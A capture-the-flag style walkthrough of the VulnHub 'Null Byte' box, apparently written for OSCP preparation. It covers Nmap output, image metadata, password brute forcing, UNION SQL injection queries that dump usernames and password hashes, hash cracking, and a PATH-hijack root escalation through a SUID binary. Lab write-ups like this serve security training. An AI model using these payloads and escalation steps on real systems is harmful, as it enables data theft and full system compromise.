This box is downloaded from VulnHub and is also on the list of Tj Null OSCP preparation. this box involved the following steps.
- Metadata of an image
- Brute Forcing a Webpage
- UNION SQL Injection
- PATH exploit for privilege escaltion
I am going to start with the autorecon scan of the box. The Nmap scan result is as below.
canned at 2022-04-03 06:22:48 EDT for 15s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Null Byte 00 - level 1
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
777/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
| ssh-dss
53472/tcp open status syn-ack ttl 64 1 (RPC #100024)
MAC Address: 08:00:27:D8:50:42 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 198.839 days (since Thu Sep 16 10:15:20 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.15 ms 10.0.0.11
There is a web port open. I am starting my enumeration from there.
There is nothing interesting in the source code. I am going to download the image to look for metadata. Also at the same time start my gobuster login.
Found something in comment on the image. It turns out to be the hidden directory.
Checking the exif data and comment using exiftool.
Visiting the hidden directory, it has input field with key.
Now looking at the source it is mentioned that the password is not complex. I started fuzzing the password with the rockyou list on ZAP. I got hit within a minute. Password is elite.
Now entering with password it takes us to another page, where there is a query place for username.
I typed " into the query and it returned the following error, which proves that this query is vulnerable to SQL injection.
Now I typed " or 1=1 #1 and it returned the following results.
This type of SQL-Injection is typically known as error-based SQL Injection as we can see error from our SQL query. Now I am going to find the number of columns using order by the query. I will need the number of columns to run the UNION query for SQL Injection. My query will be " ORDER BY 1 # in incremental order unless I get an error. I got an error on number 4. So the number of columns is 3.
Now I am going to find the type of data on those columns (i.e string, numbers etc). I used this query " UNION SELECT 'a','b','c' #. This did not return any error so we can assume that all the fields of columns are strings.
Now let’s find the list of names of the database from the server.
" UNION SELECT group_concat(schema_name),'b','c' from information_schema.schemata#
We know that we have
- information_schema
- mysql
- performance_schema
- phpmyadmin
- seth.
So seth looks a little different. Let’s target seth database to dump all content. I am going to find the table inside the seth database.
" UNION SELECT group_concat(table_name),'b','c' from information_schema.tables where table_schema='seth'#
So the name of the table is users. Now I am going to find the name of the columns inside the users table.
" UNION SELECT group_concat(column_name,'\n'),'b','c' from information_schema.columns where table_name='users'#
So the columns inside the table users are:
- id
- user
- pass
- position
Now I am dumping all the data inside the users table.
" UNION SELECT group_concat(id,':',user,':',pass,':',position,'\n'),'b','cybersec.science' from seth.users #
I can see there is a hash for the user ramses. I tried cracking the hash into crackstation.net but it failed. I then turned it into cyberchef and base64 decode it. It looked like the md5 hash now and went back to crackstation.net, where it was successful to crack it and the password is omega.
Now using the ramses:omega I was able to log in using ssh.
I will run the linpeas script to find any avenue for privilege escalation. I could not find anything interesting from linpeas script. So I started looking for the most popular folders. I started with the home folders for all users. I then moved to /opt and after that went to the web folder ( by web I mean /var/www/ . Where I found a backup directory that is owned by root. Moving inside the backup folder I found a lovely red folder with SUID set.
Now running the SUID binary, it looks like it runs ps to check the process.
Let’s try to exploit the PATH for ps script.
echo "/bin/sh" > ps
chmod +x ps
export PATH=/var/www/backup:$PATH
$PATH
./procwatch
Now we are root.
This room was easy and fun. Helped to sharpen my enumeration skills.